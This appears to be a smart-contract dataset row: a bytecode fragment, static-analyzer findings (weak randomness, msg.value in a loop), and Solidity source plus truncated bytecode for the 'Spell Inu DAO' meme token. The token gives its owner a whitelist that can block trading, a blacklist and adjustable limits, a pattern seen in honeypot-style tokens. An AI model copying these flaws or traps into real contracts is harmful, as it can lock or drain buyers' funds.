803e3d6000fd5b50600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612b90573d6000803e3d6000fd5b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612bf9573d6000803e3d6000fd5b506000600480549050141515612c2c57612c1587828a886131ec565b60046000612c2391906135c2565b60019550612c67565b600381026005600089815260200190815260200160002060030154036005600089815260200190815260200160002060030181905550600095505b505050505092915050565b60006003600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015612e6c57506000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015612e785750600182115b15612eeb57612ee9600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660018403612c72565b505b92915050565b612ef9613633565b60008060606040519081016040528060038152602001600281526020016001815250925060009150600090505b6003805490508110156131af5760648382600381101515612f4357fe5b60200201513402811515612f5357fe5b0482019150600381815481101515612f6757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60648584600381101515612fbb57fe5b60200201513402811515612fcb57fe5b049081150290604051600060405180830381858888f19350505050158015612ff7573d6000803e3d6000fd5b507f5e9040d321c654ce497b5ac51149bb4512ee7a712fa577360b755329cca45c913334898989898760038981548110151561302f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660648c8b60038110151561306a57fe5b6020020151340281151561307a57fe5b044260405180806020018c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018b81526020018a8152602001898152602001888152602001806020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001838103835260088152602001807f6469766964656e64000000000000000000000000000000000000000000000000815250602001838103825288818151815260200191508051906020019060200280838360005b8381101561318557808201518184015260208101905061316a565b505050509050019c5050505050505050505050505060405180910390a18080600101915050612f26565b8134036005600089815260200190815260200160002060030160008282540192505081905550600360006131e39190613656565b50505050505050565b60008060003373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156132b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5065726d697373696f6e2064656e69656400000000000000000000000000000081525060200191505060405180910390fd5b600386026005600089815260200190815260200160002060030154039250600091505b6004805490508210156135b957836004838154811015156132f557fe5b906000526020600020906005020160030154840281151561331257fe5b04905060048281548110151561332457fe5b906000526020600020906005020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561339b573d6000803e3d6000fd5b507f8c98551d006dde453dddf21caeecb75e77c113dfafe9e44531347bf6a0fea68d6004838154811015156133cc57fe5b906000526020600020906005020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660048481548110151561340d57fe5b90600052602060002090600502016001015489600560008c81526020019081526020016000206000015460048781548110151561344657fe5b90600052602060002090600502016003015460048881548110151561346757fe5b90600052602060002090600502016002018b884260405180806020018b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018a81526020018981526020018881526020018781526020018060200180602001868152602001858152602001848103845260068152602001807f7265776172640000000000000000000000000000000000000000000000000000815250602001848103835288818154815260200191508054801561355257602002820191906000526020600020905b81548152602001906001019080831161353e575b5050848103825287818151815260200191508051906020019060200280838360005b8381101561358f578082015181840152602081019050613574565b505050509050019c5050505050505050505050505060405180910390a181806001019250506132d8565b50505050505050565b50805460008255600502906000526020600020908101906135e39190613677565b50565b828054828255906000526020600020908101928215613622579160200282015b82811115613621578251825591602001919060010190613606565b5b50905061362f91906136e5565b5090565b606060405190810160405280600390602082028038833980820191505090505090565b508054600082559060005260206000209081019061367491906136e5565b50565b6136e291905b808211156136de57600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560018201600090556002820160006136c5919061370a565b600382016000905560048201600090555060050161367d565b5090565b90565b61370791905b808211156137035760008160009055506001016136eb565b5090565b90565b508054600082559060005260206000209081019061372891906136e5565b505600a165627a7a72305820faa69552726db42122b9264ea62574273243c7735fec4be687437eebc07a33dc0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "msg-value-loop", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,140 |
0x9c226b37e1a41c45141d5a2745a99f0c6f13540b
|
// SPDX-License-Identifier: Unlicensed
/*
Spell Inu DAO — Community Meme Token to Increase your $SPELL Rewards 🧙
Telegram: t.me/spellinu
Stealth Launched on Ethereum
*/
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SpellInuDAO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Spell Inu DAO";
string private constant _symbol = "SPELLINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
bool public isLaunchProtectionMode = true;
mapping(address => bool) public launchProtectionWhitelist;
constructor(address daoFund, address marketingAddr) {
_feeAddrWallet1 = payable(daoFund);
_feeAddrWallet2 = payable(marketingAddr);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
launchProtectionWhitelist[address(this)] = true;
launchProtectionWhitelist[msg.sender] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (300 seconds);
}
if (isLaunchProtectionMode) {
require(launchProtectionWhitelist[tx.origin] == true, "Not whitelisted");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) { // sells
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
launchProtectionWhitelist[uniswapV2Pair] = true;
uniswapV2Router.addLiquidityETH{ value: address(this).balance }(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 0.005 * 10**12 * 10**9; // 0.5% max trade
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function changeStrictTxLimit1() public onlyOwner {
_maxTxAmount = 0.01 * 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount
) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setLaunchWhitelist(address account, bool value) external onlyOwner {
launchProtectionWhitelist[account] = value;
}
function setLaunchWhitelistList(address[] memory _whitelist) external onlyOwner {
for (uint i = 0; i<_whitelist.length; i++) {
launchProtectionWhitelist[_whitelist[i]] = true;}
}
function newDAOAddr(address newAddr) public {
require(msg.sender == _feeAddrWallet1);
_feeAddrWallet1 = payable(newAddr);
_isExcludedFromFee[_feeAddrWallet1] = true;
}
function newMarketingAddr(address newAddr) public {
require(msg.sender == _feeAddrWallet2);
_feeAddrWallet2 = payable(newAddr);
_isExcludedFromFee[_feeAddrWallet2] = true;
}
function endLaunchProtection() external onlyOwner {
isLaunchProtectionMode = false;
}
}
|
0x6080604052600436106101a05760003560e01c80635932ead1116100ec57806395d89b411161008a578063c3c8cd8011610064578063c3c8cd80146104cd578063c9567bf9146104e2578063dd62ed3e146104f7578063ff8726021461053d57600080fd5b806395d89b411461045c578063a9059cbb1461048d578063b515566a146104ad57600080fd5b8063715018a6116100c6578063715018a6146103d95780637503d811146103ee57806376c7359a1461040e5780638da5cb5b1461043e57600080fd5b80635932ead1146103845780636fc3eaec146103a457806370a08231146103b957600080fd5b806325e797391161015957806349bd5a5e1161013357806349bd5a5e146102f257806349ca8fee1461032a5780634e64c68a1461034a57806358cc9bd61461036457600080fd5b806325e7973914610296578063273123b7146102b6578063313ce567146102d657600080fd5b8063055eff1c146101ac57806306fdde03146101c3578063095ea7b31461020b57806318160ddd1461023b5780631b35bed01461026157806323b872dd1461027657600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610552565b005b3480156101cf57600080fd5b5060408051808201909152600d81526c5370656c6c20496e752044414f60981b60208201525b6040516102029190611ccd565b60405180910390f35b34801561021757600080fd5b5061022b610226366004611b6d565b610593565b6040519015158152602001610202565b34801561024757600080fd5b50683635c9adc5dea000005b604051908152602001610202565b34801561026d57600080fd5b506101c16105aa565b34801561028257600080fd5b5061022b610291366004611afe565b6105e0565b3480156102a257600080fd5b506101c16102b1366004611b3f565b610649565b3480156102c257600080fd5b506101c16102d1366004611a8b565b61069e565b3480156102e257600080fd5b5060405160098152602001610202565b3480156102fe57600080fd5b50600f54610312906001600160a01b031681565b6040516001600160a01b039091168152602001610202565b34801561033657600080fd5b506101c1610345366004611a8b565b6106e9565b34801561035657600080fd5b5060115461022b9060ff1681565b34801561037057600080fd5b506101c161037f366004611a8b565b61073a565b34801561039057600080fd5b506101c161039f366004611c65565b61078b565b3480156103b057600080fd5b506101c16107d3565b3480156103c557600080fd5b506102536103d4366004611a8b565b610800565b3480156103e557600080fd5b506101c1610822565b3480156103fa57600080fd5b506101c1610409366004611b99565b610896565b34801561041a57600080fd5b5061022b610429366004611a8b565b60126020526000908152604090205460ff1681565b34801561044a57600080fd5b506000546001600160a01b0316610312565b34801561046857600080fd5b506040805180820190915260088152675350454c4c494e5560c01b60208201526101f5565b34801561049957600080fd5b5061022b6104a8366004611b6d565b61092c565b3480156104b957600080fd5b506101c16104c8366004611b99565b610939565b3480156104d957600080fd5b506101c16109cb565b3480156104ee57600080fd5b506101c1610a01565b34801561050357600080fd5b50610253610512366004611ac5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561054957600080fd5b506101c1610de0565b6000546001600160a01b031633146105855760405162461bcd60e51b815260040161057c90611d22565b60405180910390fd5b678ac7230489e80000601055565b60006105a0338484610e19565b5060015b92915050565b6000546001600160a01b031633146105d45760405162461bcd60e51b815260040161057c90611d22565b6011805460ff19169055565b60006105ed848484610f3d565b61063f843361063a85604051806060016040528060288152602001611eb9602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061134e565b610e19565b5060019392505050565b6000546001600160a01b031633146106735760405162461bcd60e51b815260040161057c90611d22565b6001600160a01b03919091166000908152601260205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146106c85760405162461bcd60e51b815260040161057c90611d22565b6001600160a01b03166000908152600660205260409020805460ff19169055565b600d546001600160a01b0316331461070057600080fd5b600d80546001600160a01b039092166001600160a01b0319909216821790556000908152600560205260409020805460ff19166001179055565b600c546001600160a01b0316331461075157600080fd5b600c80546001600160a01b039092166001600160a01b0319909216821790556000908152600560205260409020805460ff19166001179055565b6000546001600160a01b031633146107b55760405162461bcd60e51b815260040161057c90611d22565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146107f357600080fd5b476107fd81611388565b50565b6001600160a01b0381166000908152600260205260408120546105a49061140d565b6000546001600160a01b0316331461084c5760405162461bcd60e51b815260040161057c90611d22565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c05760405162461bcd60e51b815260040161057c90611d22565b60005b8151811015610928576001601260008484815181106108e4576108e4611e69565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092081611e38565b9150506108c3565b5050565b60006105a0338484610f3d565b6000546001600160a01b031633146109635760405162461bcd60e51b815260040161057c90611d22565b60005b81518110156109285760016006600084848151811061098757610987611e69565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806109c381611e38565b915050610966565b600c546001600160a01b0316336001600160a01b0316146109eb57600080fd5b60006109f630610800565b90506107fd81611491565b6000546001600160a01b03163314610a2b5760405162461bcd60e51b815260040161057c90611d22565b600f54600160a01b900460ff1615610a855760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161057c565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610ac23082683635c9adc5dea00000610e19565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610afb57600080fd5b505afa158015610b0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b339190611aa8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b7b57600080fd5b505afa158015610b8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb39190611aa8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610bfb57600080fd5b505af1158015610c0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c339190611aa8565b600f80546001600160a01b0319166001600160a01b039283169081179091556000908152601260205260409020805460ff19166001179055600e541663f305d7194730610c7f81610800565b600080610c946000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610cf757600080fd5b505af1158015610d0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d309190611c9f565b5050600f8054674563918244f4000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610da857600080fd5b505af1158015610dbc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109289190611c82565b6000546001600160a01b03163314610e0a5760405162461bcd60e51b815260040161057c90611d22565b683635c9adc5dea00000601055565b6001600160a01b038316610e7b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161057c565b6001600160a01b038216610edc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161057c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fa15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161057c565b6001600160a01b0382166110035760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161057c565b600081116110655760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161057c565b6002600a556008600b556000546001600160a01b0384811691161480159061109b57506000546001600160a01b03838116911614155b1561133e576001600160a01b03831660009081526006602052604090205460ff161580156110e257506001600160a01b03821660009081526006602052604090205460ff16155b6110eb57600080fd5b600f546001600160a01b0384811691161480156111165750600e546001600160a01b03838116911614155b801561113b57506001600160a01b03821660009081526005602052604090205460ff16155b80156111505750600f54600160b81b900460ff165b156111ae5760105481111561116457600080fd5b6001600160a01b038216600090815260076020526040902054421161118857600080fd5b6111944261012c611dc8565b6001600160a01b0383166000908152600760205260409020555b60115460ff161561120f573260009081526012602052604090205460ff16151560011461120f5760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b604482015260640161057c565b600f546001600160a01b03838116911614801561123a5750600e546001600160a01b03848116911614155b801561125f57506001600160a01b03831660009081526005602052604090205460ff16155b1561126f576002600a556008600b555b600061127a30610800565b600f54909150600160a81b900460ff161580156112a55750600f546001600160a01b03858116911614155b80156112ba5750600f54600160b01b900460ff165b1561133c57801561132a57600f546112f4906064906112ee906005906112e8906001600160a01b0316610800565b9061161a565b90611699565b81111561132157600f5461131e906064906112ee906005906112e8906001600160a01b0316610800565b90505b61132a81611491565b47801561133a5761133a47611388565b505b505b6113498383836116db565b505050565b600081848411156113725760405162461bcd60e51b815260040161057c9190611ccd565b50600061137f8486611e21565b95945050505050565b600c546001600160a01b03166108fc6113a2836002611699565b6040518115909202916000818181858888f193505050501580156113ca573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6113e5836002611699565b6040518115909202916000818181858888f19350505050158015610928573d6000803e3d6000fd5b60006008548211156114745760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161057c565b600061147e6116e6565b905061148a8382611699565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114d9576114d9611e69565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561152d57600080fd5b505afa158015611541573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115659190611aa8565b8160018151811061157857611578611e69565b6001600160a01b039283166020918202929092010152600e5461159e9130911684610e19565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906115d7908590600090869030904290600401611d57565b600060405180830381600087803b1580156115f157600080fd5b505af1158015611605573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600082611629575060006105a4565b60006116358385611e02565b9050826116428583611de0565b1461148a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161057c565b600061148a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611709565b611349838383611737565b60008060006116f361182e565b90925090506117028282611699565b9250505090565b6000818361172a5760405162461bcd60e51b815260040161057c9190611ccd565b50600061137f8486611de0565b60008060008060008061174987611870565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061177b90876118cd565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117aa908661190f565b6001600160a01b0389166000908152600260205260409020556117cc8161196e565b6117d684836119b8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161181b91815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea0000061184a8282611699565b82101561186757505060085492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061188d8a600a54600b546119dc565b925092509250600061189d6116e6565b905060008060006118b08e878787611a2b565b919e509c509a509598509396509194505050505091939550919395565b600061148a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061134e565b60008061191c8385611dc8565b90508381101561148a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161057c565b60006119786116e6565b90506000611986838361161a565b306000908152600260205260409020549091506119a3908261190f565b30600090815260026020526040902055505050565b6008546119c590836118cd565b6008556009546119d5908261190f565b6009555050565b60008080806119f060646112ee898961161a565b90506000611a0360646112ee8a8961161a565b90506000611a1b82611a158b866118cd565b906118cd565b9992985090965090945050505050565b6000808080611a3a888661161a565b90506000611a48888761161a565b90506000611a56888861161a565b90506000611a6882611a1586866118cd565b939b939a50919850919650505050505050565b8035611a8681611e95565b919050565b600060208284031215611a9d57600080fd5b813561148a81611e95565b600060208284031215611aba57600080fd5b815161148a81611e95565b60008060408385031215611ad857600080fd5b8235611ae381611e95565b91506020830135611af381611e95565b809150509250929050565b600080600060608486031215611b1357600080fd5b8335611b1e81611e95565b92506020840135611b2e81611e95565b929592945050506040919091013590565b60008060408385031215611b